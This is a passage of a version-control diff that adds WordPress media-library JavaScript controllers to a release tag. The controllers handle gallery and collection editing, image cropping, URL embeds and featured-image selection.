+		var collectionType = this.get('collectionType');
+
+		if ( 'video' === this.get( 'type' ) ) {
+			collectionType = 'video-' + collectionType;
+		}
+
+		this.set( 'id', collectionType + '-edit' );
+		this.set( 'toolbar', collectionType + '-edit' );
+
+		// If we haven't been provided a `library`, create a `Selection`.
+		if ( ! this.get('library') ) {
+			this.set( 'library', new wp.media.model.Selection() );
+		}
+		// The single `Attachment` view to be used in the `Attachments` view.
+		if ( ! this.get('AttachmentView') ) {
+			this.set( 'AttachmentView', wp.media.view.Attachment.EditLibrary );
+		}
+		Library.prototype.initialize.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	activate: function() {
+		var library = this.get('library');
+
+		// Limit the library to images only.
+		library.props.set( 'type', this.get( 'type' ) );
+
+		// Watch for uploaded attachments.
+		this.get('library').observe( wp.Uploader.queue );
+
+		this.frame.on( 'content:render:browse', this.renderSettings, this );
+
+		Library.prototype.activate.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	deactivate: function() {
+		// Stop watching for uploaded attachments.
+		this.get('library').unobserve( wp.Uploader.queue );
+
+		this.frame.off( 'content:render:browse', this.renderSettings, this );
+
+		Library.prototype.deactivate.apply( this, arguments );
+	},
+
+	/**
+	 * Render the collection embed settings view in the browser sidebar.
+	 *
+	 * @todo This is against the pattern elsewhere in media. Typically the frame
+	 *       is responsible for adding region mode callbacks. Explain.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param {wp.media.view.attachmentsBrowser} The attachments browser view.
+	 */
+	renderSettings: function( attachmentsBrowserView ) {
+		var library = this.get('library'),
+			collectionType = this.get('collectionType'),
+			dragInfoText = this.get('dragInfoText'),
+			SettingsView = this.get('SettingsView'),
+			obj = {};
+
+		if ( ! library || ! attachmentsBrowserView ) {
+			return;
+		}
+
+		library[ collectionType ] = library[ collectionType ] || new Backbone.Model();
+
+		obj[ collectionType ] = new SettingsView({
+			controller: this,
+			model:      library[ collectionType ],
+			priority:   40
+		});
+
+		attachmentsBrowserView.sidebar.set( obj );
+
+		if ( dragInfoText ) {
+			attachmentsBrowserView.toolbar.set( 'dragInfo', new wp.media.View({
+				el: $( '<div class="instructions">' + dragInfoText + '</div>' )[0],
+				priority: -40
+			}) );
+		}
+
+		// Add the 'Reverse order' button to the toolbar.
+		attachmentsBrowserView.toolbar.set( 'reverse', {
+			text:     l10n.reverseOrder,
+			priority: 80,
+
+			click: function() {
+				library.reset( library.toArray().reverse() );
+			}
+		});
+	}
+});
+
+module.exports = CollectionEdit;
Index: /tags/5.0.20/src/wp-includes/js/media/controllers/cropper.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/controllers/cropper.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/controllers/cropper.js	(revision 56912)
@@ -0,0 +1,122 @@
+var l10n = wp.media.view.l10n,
+	Cropper;
+
+/**
+ * wp.media.controller.Cropper
+ *
+ * A state for cropping an image.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ */
+Cropper = wp.media.controller.State.extend(/** @lends wp.media.controller.Cropper.prototype */{
+	defaults: {
+		id:          'cropper',
+		title:       l10n.cropImage,
+		// Region mode defaults.
+		toolbar:     'crop',
+		content:     'crop',
+		router:      false,
+		canSkipCrop: false,
+
+		// Default doCrop Ajax arguments to allow the Customizer (for example) to inject state.
+		doCropArgs: {}
+	},
+
+	activate: function() {
+		this.frame.on( 'content:create:crop', this.createCropContent, this );
+		this.frame.on( 'close', this.removeCropper, this );
+		this.set('selection', new Backbone.Collection(this.frame._selection.single));
+	},
+
+	deactivate: function() {
+		this.frame.toolbar.mode('browse');
+	},
+
+	createCropContent: function() {
+		this.cropperView = new wp.media.view.Cropper({
+			controller: this,
+			attachment: this.get('selection').first()
+		});
+		this.cropperView.on('image-loaded', this.createCropToolbar, this);
+		this.frame.content.set(this.cropperView);
+
+	},
+	removeCropper: function() {
+		this.imgSelect.cancelSelection();
+		this.imgSelect.setOptions({remove: true});
+		this.imgSelect.update();
+		this.cropperView.remove();
+	},
+	createCropToolbar: function() {
+		var canSkipCrop, toolbarOptions;
+
+		canSkipCrop = this.get('canSkipCrop') || false;
+
+		toolbarOptions = {
+			controller: this.frame,
+			items: {
+				insert: {
+					style:    'primary',
+					text:     l10n.cropImage,
+					priority: 80,
+					requires: { library: false, selection: false },
+
+					click: function() {
+						var controller = this.controller,
+							selection;
+
+						selection = controller.state().get('selection').first();
+						selection.set({cropDetails: controller.state().imgSelect.getSelection()});
+
+						this.$el.text(l10n.cropping);
+						this.$el.attr('disabled', true);
+
+						controller.state().doCrop( selection ).done( function( croppedImage ) {
+							controller.trigger('cropped', croppedImage );
+							controller.close();
+						}).fail( function() {
+							controller.trigger('content:error:crop');
+						});
+					}
+				}
+			}
+		};
+
+		if ( canSkipCrop ) {
+			_.extend( toolbarOptions.items, {
+				skip: {
+					style:      'secondary',
+					text:       l10n.skipCropping,
+					priority:   70,
+					requires:   { library: false, selection: false },
+					click:      function() {
+						var selection = this.controller.state().get('selection').first();
+						this.controller.state().cropperView.remove();
+						this.controller.trigger('skippedcrop', selection);
+						this.controller.close();
+					}
+				}
+			});
+		}
+
+		this.frame.toolbar.set( new wp.media.view.Toolbar(toolbarOptions) );
+	},
+
+	doCrop: function( attachment ) {
+		return wp.ajax.post( 'custom-header-crop', _.extend(
+			{},
+			this.defaults.doCropArgs,
+			{
+				nonce: attachment.get( 'nonces' ).edit,
+				id: attachment.get( 'id' ),
+				cropDetails: attachment.get( 'cropDetails' )
+			}
+		) );
+	}
+});
+
+module.exports = Cropper;
Index: /tags/5.0.20/src/wp-includes/js/media/controllers/customize-image-cropper.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/controllers/customize-image-cropper.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/controllers/customize-image-cropper.js	(revision 56912)
@@ -0,0 +1,43 @@
+var Controller = wp.media.controller,
+	CustomizeImageCropper;
+
+/**
+ * wp.media.controller.CustomizeImageCropper
+ *
+ * @memberOf wp.media.controller
+ *
+ * A state for cropping an image.
+ *
+ * @class
+ * @augments wp.media.controller.Cropper
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ */
+CustomizeImageCropper = Controller.Cropper.extend(/** @lends wp.media.controller.CustomizeImageCropper.prototype */{
+	doCrop: function( attachment ) {
+		var cropDetails = attachment.get( 'cropDetails' ),
+			control = this.get( 'control' ),
+			ratio = cropDetails.width / cropDetails.height;
+
+		// Use crop measurements when flexible in both directions.
+		if ( control.params.flex_width && control.params.flex_height ) {
+			cropDetails.dst_width  = cropDetails.width;
+			cropDetails.dst_height = cropDetails.height;
+
+		// Constrain flexible side based on image ratio and size of the fixed side.
+		} else {
+			cropDetails.dst_width  = control.params.flex_width  ? control.params.height * ratio : control.params.width;
+			cropDetails.dst_height = control.params.flex_height ? control.params.width  / ratio : control.params.height;
+		}
+
+		return wp.ajax.post( 'crop-image', {
+			wp_customize: 'on',
+			nonce: attachment.get( 'nonces' ).edit,
+			id: attachment.get( 'id' ),
+			context: control.id,
+			cropDetails: cropDetails
+		} );
+	}
+});
+
+module.exports = CustomizeImageCropper;
Index: /tags/5.0.20/src/wp-includes/js/media/controllers/edit-attachment-metadata.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/controllers/edit-attachment-metadata.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/controllers/edit-attachment-metadata.js	(revision 56912)
@@ -0,0 +1,28 @@
+var l10n = wp.media.view.l10n,
+	EditAttachmentMetadata;
+
+/**
+ * wp.media.controller.EditAttachmentMetadata
+ *
+ * A state for editing an attachment's metadata.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ */
+EditAttachmentMetadata = wp.media.controller.State.extend(/** @lends wp.media.controller.EditAttachmentMetadata.prototype */{
+	defaults: {
+		id:      'edit-attachment',
+		// Title string passed to the frame's title region view.
+		title:   l10n.attachmentDetails,
+		// Region mode defaults.
+		content: 'edit-metadata',
+		menu:    false,
+		toolbar: false,
+		router:  false
+	}
+});
+
+module.exports = EditAttachmentMetadata;
Index: /tags/5.0.20/src/wp-includes/js/media/controllers/edit-image.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/controllers/edit-image.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/controllers/edit-image.js	(revision 56912)
@@ -0,0 +1,76 @@
+var l10n = wp.media.view.l10n,
+	EditImage;
+
+/**
+ * wp.media.controller.EditImage
+ *
+ * A state for editing (cropping, etc.) an image.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ *
+ * @param {object}                    attributes                      The attributes hash passed to the state.
+ * @param {wp.media.model.Attachment} attributes.model                The attachment.
+ * @param {string}                    [attributes.id=edit-image]      Unique identifier.
+ * @param {string}                    [attributes.title=Edit Image]   Title for the state. Displays in the media menu and the frame's title region.
+ * @param {string}                    [attributes.content=edit-image] Initial mode for the content region.
+ * @param {string}                    [attributes.toolbar=edit-image] Initial mode for the toolbar region.
+ * @param {string}                    [attributes.menu=false]         Initial mode for the menu region.
+ * @param {string}                    [attributes.url]                Unused. @todo Consider removal.
+ */
+EditImage = wp.media.controller.State.extend(/** @lends wp.media.controller.EditImage.prototype */{
+	defaults: {
+		id:      'edit-image',
+		title:   l10n.editImage,
+		menu:    false,
+		toolbar: 'edit-image',
+		content: 'edit-image',
+		url:     ''
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	activate: function() {
+		this.frame.on( 'toolbar:render:edit-image', _.bind( this.toolbar, this ) );
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	deactivate: function() {
+		this.frame.off( 'toolbar:render:edit-image' );
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	toolbar: function() {
+		var frame = this.frame,
+			lastState = frame.lastState(),
+			previous = lastState && lastState.id;
+
+		frame.toolbar.set( new wp.media.view.Toolbar({
+			controller: frame,
+			items: {
+				back: {
+					style: 'primary',
+					text:     l10n.back,
+					priority: 20,
+					click:    function() {
+						if ( previous ) {
+							frame.setState( previous );
+						} else {
+							frame.close();
+						}
+					}
+				}
+			}
+		}) );
+	}
+});
+
+module.exports = EditImage;
Index: /tags/5.0.20/src/wp-includes/js/media/controllers/embed.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/controllers/embed.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/controllers/embed.js	(revision 56912)
@@ -0,0 +1,136 @@
+var l10n = wp.media.view.l10n,
+	$ = Backbone.$,
+	Embed;
+
+/**
+ * wp.media.controller.Embed
+ *
+ * A state for embedding media from a URL.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ *
+ * @param {object} attributes                         The attributes hash passed to the state.
+ * @param {string} [attributes.id=embed]              Unique identifier.
+ * @param {string} [attributes.title=Insert From URL] Title for the state. Displays in the media menu and the frame's title region.
+ * @param {string} [attributes.content=embed]         Initial mode for the content region.
+ * @param {string} [attributes.menu=default]          Initial mode for the menu region.
+ * @param {string} [attributes.toolbar=main-embed]    Initial mode for the toolbar region.
+ * @param {string} [attributes.menu=false]            Initial mode for the menu region.
+ * @param {int}    [attributes.priority=120]          The priority for the state link in the media menu.
+ * @param {string} [attributes.type=link]             The type of embed. Currently only link is supported.
+ * @param {string} [attributes.url]                   The embed URL.
+ * @param {object} [attributes.metadata={}]           Properties of the embed, which will override attributes.url if set.
+ */
+Embed = wp.media.controller.State.extend(/** @lends wp.media.controller.Embed.prototype */{
+	defaults: {
+		id:       'embed',
+		title:    l10n.insertFromUrlTitle,
+		content:  'embed',
+		menu:     'default',
+		toolbar:  'main-embed',
+		priority: 120,
+		type:     'link',
+		url:      '',
+		metadata: {}
+	},
+
+	// The amount of time used when debouncing the scan.
+	sensitivity: 400,
+
+	initialize: function(options) {
+		this.metadata = options.metadata;
+		this.debouncedScan = _.debounce( _.bind( this.scan, this ), this.sensitivity );
+		this.props = new Backbone.Model( this.metadata || { url: '' });
+		this.props.on( 'change:url', this.debouncedScan, this );
+		this.props.on( 'change:url', this.refresh, this );
+		this.on( 'scan', this.scanImage, this );
+	},
+
+	/**
+	 * Trigger a scan of the embedded URL's content for metadata required to embed.
+	 *
+	 * @fires wp.media.controller.Embed#scan
+	 */
+	scan: function() {
+		var scanners,
+			embed = this,
+			attributes = {
+				type: 'link',
+				scanners: []
+			};
+
+		// Scan is triggered with the list of `attributes` to set on the
+		// state, useful for the 'type' attribute and 'scanners' attribute,
+		// an array of promise objects for asynchronous scan operations.
+		if ( this.props.get('url') ) {
+			this.trigger( 'scan', attributes );
+		}
+
+		if ( attributes.scanners.length ) {
+			scanners = attributes.scanners = $.when.apply( $, attributes.scanners );
+			scanners.always( function() {
+				if ( embed.get('scanners') === scanners ) {
+					embed.set( 'loading', false );
+				}
+			});
+		} else {
+			attributes.scanners = null;
+		}
+
+		attributes.loading = !! attributes.scanners;
+		this.set( attributes );
+	},
+	/**
+	 * Try scanning the embed as an image to discover its dimensions.
+	 *
+	 * @param {Object} attributes
+	 */
+	scanImage: function( attributes ) {
+		var frame = this.frame,
+			state = this,
+			url = this.props.get('url'),
+			image = new Image(),
+			deferred = $.Deferred();
+
+		attributes.scanners.push( deferred.promise() );
+
+		// Try to load the image and find its width/height.
+		image.onload = function() {
+			deferred.resolve();
+
+			if ( state !== frame.state() || url !== state.props.get('url') ) {
+				return;
+			}
+
+			state.set({
+				type: 'image'
+			});
+
+			state.props.set({
+				width:  image.width,
+				height: image.height
+			});
+		};
+
+		image.onerror = deferred.reject;
+		image.src = url;
+	},
+
+	refresh: function() {
+		this.frame.toolbar.get().refresh();
+	},
+
+	reset: function() {
+		this.props.clear().set({ url: '' });
+
+		if ( this.active ) {
+			this.refresh();
+		}
+	}
+});
+
+module.exports = Embed;
Index: /tags/5.0.20/src/wp-includes/js/media/controllers/featured-image.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/controllers/featured-image.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/controllers/featured-image.js	(revision 56912)
@@ -0,0 +1,122 @@
+var Attachment = wp.media.model.Attachment,
+	Library = wp.media.controller.Library,
+	l10n = wp.media.view.l10n,
+	FeaturedImage;
+
+/**
+ * wp.media.controller.FeaturedImage
+ *
+ * A state for selecting a featured image for a post.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.Library
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ *
+ * @param {object}                     [attributes]                          The attributes hash passed to the state.
+ * @param {string}                     [attributes.id=featured-image]        Unique identifier.
+ * @param {string}                     [attributes.title=Set Featured Image] Title for the state. Displays in the media menu and the frame's title region.
+ * @param {wp.media.model.Attachments} [attributes.library]                  The attachments collection to browse.
+ *                                                                           If one is not supplied, a collection of all images will be created.
+ * @param {boolean}                    [attributes.multiple=false]           Whether multi-select is enabled.
+ * @param {string}                     [attributes.content=upload]           Initial mode for the content region.
+ *                                                                           Overridden by persistent user setting if 'contentUserSetting' is true.
+ * @param {string}                     [attributes.menu=default]             Initial mode for the menu region.
+ * @param {string}                     [attributes.router=browse]            Initial mode for the router region.
+ * @param {string}                     [attributes.toolbar=featured-image]   Initial mode for the toolbar region.
+ * @param {int}                        [attributes.priority=60]              The priority for the state link in the media menu.
+ * @param {boolean}                    [attributes.searchable=true]          Whether the library is searchable.
+ * @param {boolean|string}             [attributes.filterable=false]         Whether the library is filterable, and if so what filters should be shown.
+ *                                                                           Accepts 'all', 'uploaded', or 'unattached'.
+ * @param {boolean}                    [attributes.sortable=true]            Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+ * @param {boolean}                    [attributes.autoSelect=true]          Whether an uploaded attachment should be automatically added to the selection.
+ * @param {boolean}                    [attributes.describe=false]           Whether to offer UI to describe attachments - e.g. captioning images in a gallery.
+ * @param {boolean}                    [attributes.contentUserSetting=true]  Whether the content region's mode should be set and persisted per user.
+ * @param {boolean}                    [attributes.syncSelection=true]       Whether the Attachments selection should be persisted from the last state.
+ */
+FeaturedImage = Library.extend(/** @lends wp.media.controller.FeaturedImage.prototype */{
+	defaults: _.defaults({
+		id:            'featured-image',
+		title:         l10n.setFeaturedImageTitle,
+		multiple:      false,
+		filterable:    'uploaded',
+		toolbar:       'featured-image',
+		priority:      60,
+		syncSelection: true
+	}, Library.prototype.defaults ),
+
+	/**
+	 * @since 3.5.0
+	 */
+	initialize: function() {
+		var library, comparator;
+
+		// If we haven't been provided a `library`, create a `Selection`.
+		if ( ! this.get('library') ) {
+			this.set( 'library', wp.media.query({ type: 'image' }) );
+		}
+
+		Library.prototype.initialize.apply( this, arguments );
+
+		library    = this.get('library');
+		comparator = library.comparator;
+
+		// Overload the library's comparator to push items that are not in
+		// the mirrored query to the front of the aggregate collection.
+		library.comparator = function( a, b ) {
+			var aInQuery = !! this.mirroring.get( a.cid ),
+				bInQuery = !! this.mirroring.get( b.cid );
+
+			if ( ! aInQuery && bInQuery ) {
+				return -1;
+			} else if ( aInQuery && ! bInQuery ) {
+				return 1;
+			} else {
+				return comparator.apply( this, arguments );
+			}
+		};
+
+		// Add all items in the selection to the library, so any featured
+		// images that are not initially loaded still appear.
+		library.observe( this.get('selection') );
+	},
+
+	/**
+	 * @since 3.5.0
+	 */
+	activate: function() {
+		this.updateSelection();
+		this.frame.on( 'open', this.updateSelection, this );
+
+		Library.prototype.activate.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.5.0
+	 */
+	deactivate: function() {
+		this.frame.off( 'open', this.updateSelection, this );
+
+		Library.prototype.deactivate.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.5.0
+	 */
+	updateSelection: function() {
+		var selection = this.get('selection'),
+			id = wp.media.view.settings.post.featuredImageId,
+			attachment;
+
+		if ( '' !== id && -1 !== id ) {
+			attachment = Attachment.get( id );
+			attachment.fetch();
+		}
+
+		selection.reset( attachment ? [ attachment ] : [] );
+	}
+});
+
+module.exports = FeaturedImage;
Index: /tags/5.0.20/src/wp-includes/js/media/controllers/gallery-add.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/controllers/gallery-add.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/controllers/gallery-add.js	(revision 56912)
@@ -0,0 +1,91 @@
+var Selection = wp.media.model.Selection,
+	Library = wp.media.controller.Library,
+	l10n = wp.media.view.l10n,
+	GalleryAdd;
+
+/**
+ * wp.media.controller.GalleryAdd
+ *
+ * A state for selecting more images to add to a gallery.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.Library
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ *
+ * @param {object}                     [attributes]                         The attributes hash passed to the state.
+ * @param {string}                     [attributes.id=gallery-library]      Unique identifier.
+ * @param {string}                     [attributes.title=Add to Gallery]    Title for the state. Displays in the frame's title region.
+ * @param {boolean}                    [attributes.multiple=add]            Whether multi-select is enabled. @todo 'add' doesn't seem do anything special, and gets used as a boolean.
+ * @param {wp.media.model.Attachments} [attributes.library]                 The attachments collection to browse.
+ *                                                                          If one is not supplied, a collection of all images will be created.
+ * @param {boolean|string}             [attributes.filterable=uploaded]     Whether the library is filterable, and if so what filters should be shown.
+ *                                                                          Accepts 'all', 'uploaded', or 'unattached'.
+ * @param {string}                     [attributes.menu=gallery]            Initial mode for the menu region.
+ * @param {string}                     [attributes.content=upload]          Initial mode for the content region.
+ *                                                                          Overridden by persistent user setting if 'contentUserSetting' is true.
+ * @param {string}                     [attributes.router=browse]           Initial mode for the router region.
+ * @param {string}                     [attributes.toolbar=gallery-add]     Initial mode for the toolbar region.
+ * @param {boolean}                    [attributes.searchable=true]         Whether the library is searchable.
+ * @param {boolean}                    [attributes.sortable=true]           Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+ * @param {boolean}                    [attributes.autoSelect=true]         Whether an uploaded attachment should be automatically added to the selection.
+ * @param {boolean}                    [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user.
+ * @param {int}                        [attributes.priority=100]            The priority for the state link in the media menu.
+ * @param {boolean}                    [attributes.syncSelection=false]     Whether the Attachments selection should be persisted from the last state.
+ *                                                                          Defaults to false because for this state, because the library of the Edit Gallery state is the selection.
+ */
+GalleryAdd = Library.extend(/** @lends wp.media.controller.GalleryAdd.prototype */{
+	defaults: _.defaults({
+		id:            'gallery-library',
+		title:         l10n.addToGalleryTitle,
+		multiple:      'add',
+		filterable:    'uploaded',
+		menu:          'gallery',
+		toolbar:       'gallery-add',
+		priority:      100,
+		syncSelection: false
+	}, Library.prototype.defaults ),
+
+	/**
+	 * @since 3.5.0
+	 */
+	initialize: function() {
+		// If a library wasn't supplied, create a library of images.
+		if ( ! this.get('library') ) {
+			this.set( 'library', wp.media.query({ type: 'image' }) );
+		}
+
+		Library.prototype.initialize.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.5.0
+	 */
+	activate: function() {
+		var library = this.get('library'),
+			edit    = this.frame.state('gallery-edit').get('library');
+
+		if ( this.editLibrary && this.editLibrary !== edit ) {
+			library.unobserve( this.editLibrary );
+		}
+
+		// Accepts attachments that exist in the original library and
+		// that do not exist in gallery's library.
+		library.validator = function( attachment ) {
+			return !! this.mirroring.get( attachment.cid ) && ! edit.get( attachment.cid ) && Selection.prototype.validator.apply( this, arguments );
+		};
+
+		// Reset the library to ensure that all attachments are re-added
+		// to the collection. Do so silently, as calling `observe` will
+		// trigger the `reset` event.
+		library.reset( library.mirroring.models, { silent: true });
+		library.observe( edit );
+		this.editLibrary = edit;
+
+		Library.prototype.activate.apply( this, arguments );
+	}
+});
+
+module.exports = GalleryAdd;
Index: /tags/5.0.20/src/wp-includes/js/media/controllers/gallery-edit.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/controllers/gallery-edit.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/controllers/gallery-edit.js	(revision 56912)
@@ -0,0 +1,142 @@
+var Library = wp.media.controller.Library,
+	l10n = wp.media.view.l10n,
+	GalleryEdit;
+
+/**
+ * wp.media.controller.GalleryEdit
+ *
+ * A state for editing a gallery's images and settings.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.Library
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ *
+ * @param {object}                     [attributes]                       The attributes hash passed to the state.
+ * @param {string}                     [attributes.id=gallery-edit]       Unique identifier.
+ * @param {string}                     [attributes.title=Edit Gallery]    Title for the state. Displays in the frame's title region.
+ * @param {wp.media.model.Attachments} [attributes.library]               The collection of attachments in the gallery.
+ *                                                                        If one is not supplied, an empty media.model.Selection collection is created.
+ * @param {boolean}                    [attributes.multiple=false]        Whether multi-select is enabled.
+ * @param {boolean}                    [attributes.searchable=false]      Whether the library is searchable.
+ * @param {boolean}                    [attributes.sortable=true]         Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection.
+ * @param {boolean}                    [attributes.date=true]             Whether to show the date filter in the browser's toolbar.
+ * @param {string|false}               [attributes.content=browse]        Initial mode for the content region.
+ * @param {string|false}               [attributes.toolbar=image-details] Initial mode for the toolbar region.
+ * @param {boolean}                    [attributes.describe=true]         Whether to offer UI to describe attachments - e.g. captioning images in a gallery.
+ * @param {boolean}                    [attributes.displaySettings=true]  Whether to show the attachment display settings interface.
+ * @param {boolean}                    [attributes.dragInfo=true]         Whether to show instructional text about the attachments being sortable.
+ * @param {int}                        [attributes.idealColumnWidth=170]  The ideal column width in pixels for attachments.
+ * @param {boolean}                    [attributes.editing=false]         Whether the gallery is being created, or editing an existing instance.
+ * @param {int}                        [attributes.priority=60]           The priority for the state link in the media menu.
+ * @param {boolean}                    [attributes.syncSelection=false]   Whether the Attachments selection should be persisted from the last state.
+ *                                                                        Defaults to false for this state, because the library passed in  *is* the selection.
+ * @param {view}                       [attributes.AttachmentView]        The single `Attachment` view to be used in the `Attachments`.
+ *                                                                        If none supplied, defaults to wp.media.view.Attachment.EditLibrary.
+ */
+GalleryEdit = Library.extend(/** @lends wp.media.controller.GalleryEdit.prototype */{
+	defaults: {
+		id:               'gallery-edit',
+		title:            l10n.editGalleryTitle,
+		multiple:         false,
+		searchable:       false,
+		sortable:         true,
+		date:             false,
+		display:          false,
+		content:          'browse',
+		toolbar:          'gallery-edit',
+		describe:         true,
+		displaySettings:  true,
+		dragInfo:         true,
+		idealColumnWidth: 170,
+		editing:          false,
+		priority:         60,
+		syncSelection:    false
+	},
+
+	/**
+	 * @since 3.5.0
+	 */
+	initialize: function() {
+		// If we haven't been provided a `library`, create a `Selection`.
+		if ( ! this.get('library') ) {
+			this.set( 'library', new wp.media.model.Selection() );
+		}
+
+		// The single `Attachment` view to be used in the `Attachments` view.
+		if ( ! this.get('AttachmentView') ) {
+			this.set( 'AttachmentView', wp.media.view.Attachment.EditLibrary );
+		}
+
+		Library.prototype.initialize.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.5.0
+	 */
+	activate: function() {
+		var library = this.get('library');
+
+		// Limit the library to images only.
+		library.props.set( 'type', 'image' );
+
+		// Watch for uploaded attachments.
+		this.get('library').observe( wp.Uploader.queue );
+
+		this.frame.on( 'content:render:browse', this.gallerySettings, this );
+
+		Library.prototype.activate.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.5.0
+	 */
+	deactivate: function() {
+		// Stop watching for uploaded attachments.
+		this.get('library').unobserve( wp.Uploader.queue );
+
+		this.frame.off( 'content:render:browse', this.gallerySettings, this );
+
+		Library.prototype.deactivate.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.5.0
+	 *
+	 * @param browser
+	 */
+	gallerySettings: function( browser ) {
+		if ( ! this.get('displaySettings') ) {
+			return;
+		}
+
+		var library = this.get('library');
+
+		if ( ! library || ! browser ) {
+			return;
+		}
+
+		library.gallery = library.gallery || new Backbone.Model();
+
+		browser.sidebar.set({
+			gallery: new wp.media.view.Settings.Gallery({
+				controller: this,
+				model:      library.gallery,
+				priority:   40
+			})
+		});
+
+		browser.toolbar.set( 'reverse', {
+			text:     l10n.reverseOrder,
+			priority: 80,
+
+			click: function() {
+				library.reset( library.toArray().reverse() );
+			}
+		});
+	}
+});
+
+module.exports = GalleryEdit;
Index: /tags/5.0.20/src/wp-includes/js/media/controllers/image-details.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/controllers/image-details.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/controllers/image-details.js	(revision 56912)
@@ -0,0 +1,62 @@
+var State = wp.media.controller.State,
+	Library = wp.media.controller.Library,
+	l10n = wp.media.view.l10n,
+	ImageDetails;
+
+/**
+ * wp.media.controller.ImageDetails
+ *
+ * A state for editing the attachment display settings of an image that's been
+ * inserted into the editor.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ *
+ * @param {object}                    [attributes]                       The attributes hash passed to the state.
+ * @param {string}                    [attributes.id=image-details]      Unique identifier.
+ * @param {string}                    [attributes.title=Image Details]   Title for the state. Displays in the frame's title region.
+ * @param {wp.media.model.Attachment} attributes.image                   The image's model.
+ * @param {string|false}              [attributes.content=image-details] Initial mode for the content region.
+ * @param {string|false}              [attributes.menu=false]            Initial mode for the menu region.
+ * @param {string|false}              [attributes.router=false]          Initial mode for the router region.
+ * @param {string|false}              [attributes.toolbar=image-details] Initial mode for the toolbar region.
+ * @param {boolean}                   [attributes.editing=false]         Unused.
+ * @param {int}                       [attributes.priority=60]           Unused.
+ *
+ * @todo This state inherits some defaults from media.controller.Library.prototype.defaults,
+ *       however this may not do anything.
+ */
+ImageDetails = State.extend(/** @lends wp.media.controller.ImageDetails.prototype */{
+	defaults: _.defaults({
+		id:       'image-details',
+		title:    l10n.imageDetailsTitle,
+		content:  'image-details',
+		menu:     false,
+		router:   false,
+		toolbar:  'image-details',
+		editing:  false,
+		priority: 60
+	}, Library.prototype.defaults ),
+
+	/**
+	 * @since 3.9.0
+	 *
+	 * @param options Attributes
+	 */
+	initialize: function( options ) {
+		this.image = options.image;
+		State.prototype.initialize.apply( this, arguments );
+	},
+
+	/**
+	 * @since 3.9.0
+	 */
+	activate: function() {
+		this.frame.modal.$el.addClass('image-details');
+	}
+});
+
+module.exports = ImageDetails;
Index: /tags/5.0.20/src/wp-includes/js/media/controllers/library.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/controllers/library.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/controllers/library.js	(revision 56912)
@@ -0,0 +1,294 @@
+var l10n = wp.media.view.l10n,
+	getUserSetting = window.getUserSetting,
+	setUserSetting = window.setUserSetting,
+	Library;
+
+/**
+ * wp.media.controller.Library
+ *
+ * A state for choosing an attachment or group of attachments from the media library.
+ *
+ * @memberOf wp.media.controller
+ *
+ * @class
+ * @augments wp.media.controller.State
+ * @augments Backbone.Model
+ * @mixes media.selectionSync
+ *
+ * @param {object}                          [attributes]                         The attributes hash passed to the state.
+ * @param {string}                          [attributes.id=library]              Unique identifier.
+ * @param {string}                          [attributes.title=Media library]     Title for the state. Displays in the media menu and the frame's title region.
+ * @param {wp.media.model.Attachments}      [attributes.library]                 The attachments collection to browse.
+ *                                                                               If one is not supplied, a collection of all attachments will be created.
+ * @param {wp.media.model.Selection|object} [attributes.selection]               A collection to contain attachment selections within the state.
+ *                                                                               If the 'selection' attribute is a plain JS object,
+ *                                                                               a Selection will be created using its values as the selection instance's `props` model.
